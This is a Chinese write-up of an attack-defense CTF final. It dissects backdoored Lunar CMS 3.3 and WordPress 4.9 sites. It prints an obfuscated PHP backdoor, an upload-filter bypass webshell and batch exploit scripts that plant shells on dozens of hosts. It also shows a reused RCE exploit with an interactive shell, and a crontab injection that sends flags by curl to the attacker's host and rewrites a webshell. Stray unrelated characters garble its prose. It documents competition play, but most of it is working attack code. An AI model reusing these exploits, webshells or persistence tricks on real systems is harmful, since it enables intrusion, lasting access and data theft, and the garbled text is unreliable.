前言
賽后聽說是決賽平臺屬于第一次使用墓毒,不知道是否有測試過,反正個人體驗不是太好亲怠,不過第一次使用來講所计,應(yīng)該還算不錯,還有很大發(fā)展空間嘛团秽。主要寫兩個php站的源碼分析主胧, 第一個web是 Lunar CMS 3.3 提取碼: qqmg,第二個是 Woredpress 4.9 提取碼: xwqh
1. Lunar CMS 源碼分析
拿到攻防賽源碼一般先甩查殺軟件查殺一番习勤,然后用對應(yīng)版本源碼Diff一下踪栋,這樣這可很快分析出代碼哪些地方有修改過(一般修改過的地方就是預(yù)設(shè)的漏洞了),否則那就是直接用版本CVE打了图毕。源碼在比賽平臺爆炸之前拿到的夷都,半個小時寫好了三個洞的Exp,本以為穩(wěn)如老狗予颤,沒想到平臺恢復(fù)時不提前說一聲囤官,本菜還在紅警中,等退出紅警蛤虐,都被神仙提權(quán)了党饮。
#0x01 變形后門
甩 Webshellkill 查殺一番,本菜的Webshellkill行為庫是20181129的驳庭,怎么說還是蠻新的在admin目錄下多了一個tool.php文件捏检,看代碼很明顯一個預(yù)留的后面,竟然還過了Webshellkill的查殺不皆,果斷收集一只免殺馬贯城。
tool.php:
<?php
class Foo
{
function Variable($c)
{
$name = 'Bar';
$b=$this->$name(); // This calls the Bar() method
$b($c);
}
function Bar()
{
$__='a';
$a1=$__;
$__++;$__++;$__++;$__++;
$a2=$__;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$a3=$__++;
$a4=$__++;
$a5=$__;
$a=$a1.$a4.$a4.$a2.$a3.$a5;
return $a;
}
}
function variable(){
$_='A';
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;
$b1=$_++;
$b2=$_;
$_++;$_++;$_++;
$b3=$_++;
$b4=$_;
$b='_'.$b2.$b1.$b3.$b4;
return $b;
}
$foo = new Foo();
$funcname = "Variable";
$bb=${variable()}[variable()];
$foo->$funcname($bb);
靜態(tài)調(diào)試下后門代碼,分別把$a和$b給打印出來所以拼接起來也就是一個簡單的一句話木馬,就不貼Exp了
assert($_POST[_POST])
#0x02 預(yù)設(shè)的任意文件上傳
寫好后門利用的Exp腳本后驼侠,繼續(xù)Diff文件,在admin目錄下多了一個certificate文件夾本以為這是一個插件什么的杠人,查看代碼發(fā)現(xiàn)是一個任意文件上傳點踩晶,做了點點過濾
index.php
<?php
function source() {
highlight_file(__FILE__);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>文件上傳</title>
<link href="./bootstrap.min.css" rel="stylesheet">
</head>
<body>
<script src="./jquery.min.js"></script>
<script>
$(document).ready(function() {
$('#selectFile').on('click', function() { $('#file').trigger('click') });
$('#file').change(function() { $('#selectedFile').val($(this).val()) });
});
</script>
<div class="container">
<div class="row">
<div class="col-lg-12">
<h1>文件上傳</h1>
<form method="post" enctype="multipart/form-data" class="form">
<input type="file" name="file" id="file" style="display: none;">
<div class="input-group">
<input type="text" class="form-control" id="selectedFile" readonly>
<span class="input-group-btn" style="width:200px">
<button id="selectFile" class="btn btn-defdault" type="button" style="margin-right:5px;">選擇文件</button>
<input type="submit" value="upload" class="btn btn-primary">
<span>
</div>
</form>
<?php
if($_SERVER["REQUEST_METHOD"] === "POST") :
?>
<?php
if (is_uploaded_file($_FILES["file"]["tmp_name"])):
$file = $_FILES['file'];
$name = $file['name'];
if (preg_match("/^[a-zA-Z0-9]+\\.[a-zA-Z0-9]+$/", $name) ):
$data = file_get_contents($file['tmp_name']);
while($next = preg_replace("/<\\?/", "", $data)){
$next = preg_replace("/php/", "", $next);
if($data === $next) {
break;
}
source();
$data = $next;
}
file_put_contents(dirname(__FILE__) . '/u/' . $name, $data);
chmod(dirname(__FILE__) . '/u/' . $name, 0644);
?>
<div>
<a href="<?php echo htmlspecialchars("u/" . $name)?>">上傳成功!</a>
</div>
<?php
endif;
endif;
?>
<?php
endif;
?>
</div>
</div>
</div>
</body>
</html>
分析主體代碼执泰,這個上傳點寫得比較簡單上傳沒有對文件后綴進(jìn)行校驗,所以可以直接上傳php文件渡蜻,對上傳文件內(nèi)容進(jìn)行了校驗术吝,只校驗了' <? '和' php ',并且對 php 校驗沒有使用 /i ,也就是只校驗小寫的 php ,所以利用 pHp,就可以直接繞過,而對于' <? '繞過的方式也特別多茸苇,比如利用' <= ' 或者用
<script language='pHp'>eval($_POST[Cyc1e])</script>
便可以繞過檢測排苍,上傳木馬利用,所以可以寫批量攻擊的Exp
Exp_upload.py
# -*- coding: utf-8 -*-
# @Author: Administrator
# @Date: 2018-12-07 16:17:39
# @Last Modified by: Cyc1e
# @Last Modified time: 2018-12-07 23:26:08
import requests
import re
from time import sleep
def submit_cookie(answer):
#test = "gongfan_flag\{10848bd4d2318970279b6c124866bcdc5a04ca50eaaaf92c6cf0021754ae43e6\}"
submit_ip = '172.91.1.12:9090'
urls='http://%s/ad/hacker/submit/submitCode'% submit_ip
post = {'flag':answer}
'''cmder = ' %s -b "JSESSIONID=C64DD133EFDDB22CE5BE4CA3991AB6DF" -d "flag=%s"'% (urls,answer)
#print cmd
os.system('curl ' + cmder)'''
header = {'Host': '172.91.1.12:9090',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Referer': 'http://172.91.1.12:9090/arace/index',
'Content-Length': '14',
'Cookie': 'JSESSIONID=51EF0ADB25F425E2BE7C5871C29B1D7A'}
req = requests.post(urls,headers = header,data=post)
print req.content
if 'errorInfo' not in req.content:
print ' ' + req.content
files = {'file': open('pm.php', 'rb')}
lists = {'172.91.0.101','172.91.0.104','172.91.0.106','172.91.0.112','172.91.0.115','172.91.0.116','172.91.0.122','172.91.0.125','172.91.0.135','172.91.0.138','172.91.0.144','172.91.0.18','172.91.0.33','172.91.0.34','172.91.0.35','172.91.0.42','172.91.0.44','172.91.0.45','172.91.0.47','172.91.0.51','172.91.0.53','172.91.0.54','172.91.0.59','172.91.0.60','172.91.0.61','172.91.0.62','172.91.0.64','172.91.0.68','172.91.0.69','172.91.0.70','172.91.0.78','172.91.0.82','172.91.0.87','172.91.0.88','172.91.0.91','172.91.0.92','172.91.0.93','172.91.0.94','172.91.0.97','172.91.0.99'}
cmd = 'cat /flag/flag.txt'
#cmd = 'dir'
#submit_cookie(111,'asdadasd')
while True:
for ip in lists:
#ip = '127.0.0.1/pcb/html/'
print ip
url = 'http://%s:8080/admin/certificate/index.php'% ip
url1 = 'http://%s:8080/admin/certificate/u/pm.php'% ip
#shell_data = {'pass':'BOI_youcanyoujump','shy':'system("' + cmd + '");'}
shell_data = {'Cyc1e':'system("' + cmd + '");'}
try:
req2 = requests.get(url1,timeout=0.5)
if req2.status_code != 200:
req = requests.post(url = url,files = files,timeout=0.5)
req3 = requests.get(url1,timeout=0.5)
if req3.status_code == 200:
print url1
req1 = requests.post(url = url1,data = shell_data,timeout=0.5)
print req1.content
#submit_cookie(req1.content)
except:
sleep(0.5)
sleep(60)
pm.php <script language='pHp'>eval($_POST[Cyc1e])</script>
#0x03 版本 RCE 漏洞利用
繼續(xù)Diff文件發(fā)現(xiàn)并沒有添加其他的異常代碼和文件学密,所以Diff也就只可以發(fā)現(xiàn)這兩個利用點淘衙,那么接下來要找的就是 Lunar CMS 3.3 版本是否存在版本漏洞,而3.3版本恰好存在一個RCE利用點腻暮,參考文章:https://www.exploit-db.com/exploits/33867彤守,文章里的有寫好的EXP
#!/usr/bin/env python
#......
#
# Tested on: Apache/2.4.7 (Win32)
# PHP/5.5.6
# MySQL 5.6.14
#......
import cookielib, urllib
import urllib2, sys, os
piton = os.path.basename(sys.argv[0])
if len(sys.argv) < 4:
print '\n\x20\x20[*] Usage: '+piton+' <hostname> <path> <filename.php>\n'
print '\x20\x20[*] Example: '+piton+' zeroscience.mk lunarcms backdoor.php\n'
sys.exit()
host = sys.argv[1]
path = sys.argv[2]
fname = sys.argv[3]
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
create = opener.open('http://'+host+'/'+path+'/admin/includes/elfinder/php/connector.php?cmd=mkfile&name='+fname+'&target=l1_XA')
#print create.read()
payload = urllib.urlencode({
'cmd' : 'put',
'target' : 'l1_'+fname.encode('base64','strict'),
'content' : '<?php passthru($_GET[\'cmd\']); ?>'
})
write = opener.open('http://'+host+'/'+path+'/admin/includes/elfinder/php/connector.php', payload)
#print write.read()
print '\n'
while True:
try:
cmd = raw_input('shell@'+host+':~# ')
execute = opener.open('http://'+host+'/'+path+'/files/'+fname+'?cmd='+urllib.quote(cmd))
reverse = execute.read()
print reverse;
if cmd.strip() == 'exit':
break
except Exception:
break
sys.exit()
對php環(huán)境有所要求,在 php/5.5.6一下版本是測試成功的哭靖,不過剛好具垫,服務(wù)器的php環(huán)境是可以利用該漏洞的,對于攻防賽而言试幽,需要將腳本進(jìn)行修改做修,利用requests庫進(jìn)行重寫
Exp_RCE.py
#!/usr/bin/env python
import requests
import sys
from time import sleep
import re
def submit_cookie(answer):
#test = "gongfan_flag\{10848bd4d2318970279b6c124866bcdc5a04ca50eaaaf92c6cf0021754ae43e6\}"
submit_ip = '172.91.1.12:9090'
urls='http://%s/ad/hacker/submit/submitCode'% submit_ip
post = {'flag':answer}
'''cmder = ' %s -b "JSESSIONID=C64DD133EFDDB22CE5BE4CA3991AB6DF" -d "flag=%s"'% (urls,answer)
#print cmd
os.system('curl ' + cmder)'''
header = {'Host': '172.91.1.12:9090',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Referer': 'http://172.91.1.12:9090/arace/index',
'Content-Length': '14',
'Cookie': 'JSESSIONID=51EF0ADB25F425E2BE7C5871C29B1D7A'}
req = requests.post(urls,headers = header,data=post)
print req.content
if 'errorInfo' not in req.content:
print ' ' + req.content
fname = 'shell.php'
payload = {
'cmd' : 'put',
'target' : 'l1_'+fname.encode('base64','strict'),
'content' : '<?php passthru($_GET[\'cmd\']); ?>'
}
cmd = 'cat /flag/flag.txt'
lists = {'172.91.0.101','172.91.0.104','172.91.0.106','172.91.0.112','172.91.0.115','172.91.0.116','172.91.0.122','172.91.0.125','172.91.0.135','172.91.0.138','172.91.0.144','172.91.0.18','172.91.0.33','172.91.0.34','172.91.0.35','172.91.0.42','172.91.0.44','172.91.0.45','172.91.0.47','172.91.0.51','172.91.0.53','172.91.0.54','172.91.0.59','172.91.0.60','172.91.0.61','172.91.0.62','172.91.0.64','172.91.0.68','172.91.0.69','172.91.0.70','172.91.0.78','172.91.0.82','172.91.0.87','172.91.0.88','172.91.0.91','172.91.0.92','172.91.0.93','172.91.0.94','172.91.0.97','172.91.0.99'}
mat = re.compile(".*([0-9a-z]{192}).*")
while True:
for i in lists:
host = i
#host = '127.0.0.1/CMS/LunarCMS-master/'
print host
try:
url = 'http://'+host+':8080/admin/includes/elfinder/php/connector.php?cmd=mkfile&name=' + fname + '&target=l1_XA'
create = requests.get(url,timeout = 1)
url2 = 'http://'+host+':8080/admin/includes/elfinder/php/connector.php'
write = requests.post(url2, data = payload,timeout = 1)
url3 = 'http://'+host+':8080/files/'+fname+'?cmd='+ cmd
execute = requests.get(url3,timeout = 0.5)
reverse = execute.content
print reverse
flag = mat.findall(reverse)[0]
print flag
if len(flag) > 0 :
submit_cookie(flag)
except Exception:
pass
sleep(0.5)
sleep(30)
2. Wordpress源碼分析
Wordpress是4.9版本,下載源碼的發(fā)現(xiàn)50多M抡草,那很明顯是安裝了一些插件了(框架源碼20多M),本菜主要還是利用Wordpress上的分蔗坯,畢竟第一天在Lunar CMS上翻車了康震,得靠第二天翻盤一下。
#0x01 普普通通的一句話后門
大師傅們問我怎么第一輪就開打了(5分鐘一輪)宾濒,可能我網(wǎng)速比較快吧腿短。邊下載源碼邊往 Webshellkill 甩,很成功的掃到了一個一句話木馬
我本以為又可以收一個高大上的馬了绘梦,點開一看
<?php @eval($_POST['1']);?>
直接修改第一天的Exp就開打了橘忱,所以速度快了點,操作這么快自然不可能只用來讀flag卸奉,肯定要干些其他的事钝诚,后面寫。
#0x02 Site Import插件本地和遠(yuǎn)程文件包含漏洞
這個洞一下沒有發(fā)現(xiàn)榄棵,被打了好幾輪凝颇,漏洞點在/wp-content/plugins/site-import/admin/page.php
<?php
namespace site_import_namespace;
$page = $_GET['url'];
$url = parse_url($page);
$url['path'] = pathinfo(isset($url['path'])?$url['path']:'');
if(!isset($url['path']['dirname']) || $url['path']['dirname']=='\\')$url['path']['dirname'] = '/';
//if($url['path']['dirname'][strlen($url['path']['dirname'])-1]!='/')$url['path']['dirname'] .= '/';
function change_link($text){
......
}
function change_link_2($text){
......
}
$context = stream_context_create(array('http' => array('max_redirects' => 101)));
$content = file_get_contents($page, false, $context);
$content = preg_replace_callback("/(\<(img|link|a) [^\>]*?)(href|src)\=\"([^\"]+?)\"/", 'site_import_namespace\change_link', $content);
echo $content;
?>
很明顯潘拱,沒有對$page變量做任何處理就直接傳到了file_get_contents()函數(shù)中,直接導(dǎo)致了文件包含拧略,構(gòu)造/page.php?url=../../../../../../../../../flag
就好了芦岂,這里就不貼Exp了
#0x03 simple-ads-manager 插件中的SQL注入漏洞
這個漏洞在這次利用價值不大,畢竟注入出來的都是加密的垫蛆,注入的流量到處飛禽最,有些隊都把數(shù)據(jù)庫給關(guān)了 - -.. ,看不懂的操作袱饭,這里不過多說明了川无,可以參考:https://www.exploit-db.com/exploits/36613 進(jìn)行復(fù)現(xiàn)測試。
3. 簡單分享分享這次的打法
第一天的就不寫了宁赤,主要上分在于第二天舀透,最后 Web3 拿了3800多分,還算不錯的决左,主要因為操作失誤愕够,應(yīng)該是能夠那 4000+ 的分的,由于比較快掃到了 Wordpress 中的一句話木馬佛猛,所以立即連接木馬惑芭,批量插入了Crontab定時任務(wù),利用木馬直接調(diào)用 system() 函數(shù)继找,嵌入反彈flag的定時任務(wù)遂跟,不管對方怎么補漏洞,一樣能很輕松的拿到 flag 的(本菜第一次線下的時候被一白師傅這樣打蒙了)
system('echo \"* * * * * cat /flag/flag.txt | curl http://172.91.0.115:3001/flag --data-binary @- \n* * * * * echo \\\"<?php \\\\\\n if(@md5(\\\\\\\$_POST[pass])==\\\\\\\"03ae84723832951e7a85a81d9c38a76a\\\\\\\"){@eval(\\\\\\\$_POST[\"1\"]);} \\\\\\n \\\" > /var/www/html/Cyc1e.php \" | crontab')
一共植入了兩條定時任務(wù)(按個人需求植入)婴渡,第一個定時任務(wù)是每個一分鐘帶著flag幻锁,post請求我本地開啟的3001端口的web服務(wù)一次,所以就坐著收flag就好了边臼,第二個定時任務(wù)是往網(wǎng)站根木馬寫馬哄尔,植入的效果 ↓ ↓ ↓
所以本地起個flask服務(wù)(比較好自動化提交flag和設(shè)定端口),接受 flag 并自動提交就好了柠并,大師傅們問沒有權(quán)限怎么執(zhí)行crontab岭接,crontab不需要root權(quán)限的,什么用戶起的就是什么權(quán)限臼予,所以www-data用戶注上命令鸣戴,需要本地上個 shell 去kill才行的。
這里放一下一白大師傅寫的起flask服務(wù)的腳本(修改版)
# - coding:utf8
from flask import *
import requests
app = Flask(__name__)
url = "http://172.91.1.12:9090/arace/index"
token = "0ade4d3d8b7ed42f"
server_port = 3001
def submit_token(url,answer,token):
data ={"token":token,"flag":answer}
resp = requests.post(url,data=data)
if (resp.status_code != "404"):
print "Status code:%d"%(resp.status_code)
def submit_cookie(ip,answer):
submit_ip = '172.91.1.12:9090'
urls='http://%s/ad/hacker/submit/submitCode'% submit_ip
post = {'flag':answer}
'''cmder = ' %s -b "JSESSIONID=C64DD133EFDDB22CE5BE4CA3991AB6DF" -d "flag=%s"'% (urls,answer)
#print cmd
os.system('curl ' + cmder)'''
header = {'Host': '172.91.1.12:9090',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Referer': 'http://172.91.1.12:9090/arace/index',
'Content-Length': '14',
'Cookie': 'JSESSIONID=77A0AFA7757CE43018889FCF9AAFE59A'}
req = requests.post(urls,headers = header,data=post)
print req.content
if 'errorInfo' not in req.content:
print ' ' + req.content
last_flag = {}
@app.route('/flag', methods=['POST'])
def receive_flag():
flag = request.get_data().strip()
ip = request.remote_addr
if not last_flag.has_key(ip):
last_flag[ip] = set()
ip_flag_list = last_flag.get(ip, set())
if flag in ip_flag_list:
print "Receive %s from %s , already submitted." % (flag, ip)
return ""
ip_flag_list.add(flag)
result = ""
print "\nReceive from : %s\nflag : %s"% (ip,flag)
submit_cookie(ip,flag)
return ''
if __name__ == '__main__':
app.run("0.0.0.0", port=server_port)
總結(jié)
能力有限粘拾,可能有的洞沒有分析出來窄锅。本想用一只剛寫的病毒性后門來試試的,這次還沒有實驗缰雇,等后續(xù)在攻防賽中實驗成功后再公開酬滤。本菜第二天由于操作失誤签餐,第一波拿flag命令輸入成了cat /flag,然而flag在 /flag/flag.txt 了盯串,等到第二波注入任務(wù)時氯檐,掉了好多,所以到最后還是接收了一大堆空字符過來体捏,而且寫馬的目錄還寫錯了冠摄,真的是讓人頭禿,被大師傅們笑死几缭,血虧河泳。同時開場用shell批量執(zhí)行命令,其他的惡劣操作就不寫了年栓,怕被打死拆挥。放一張最終成績圖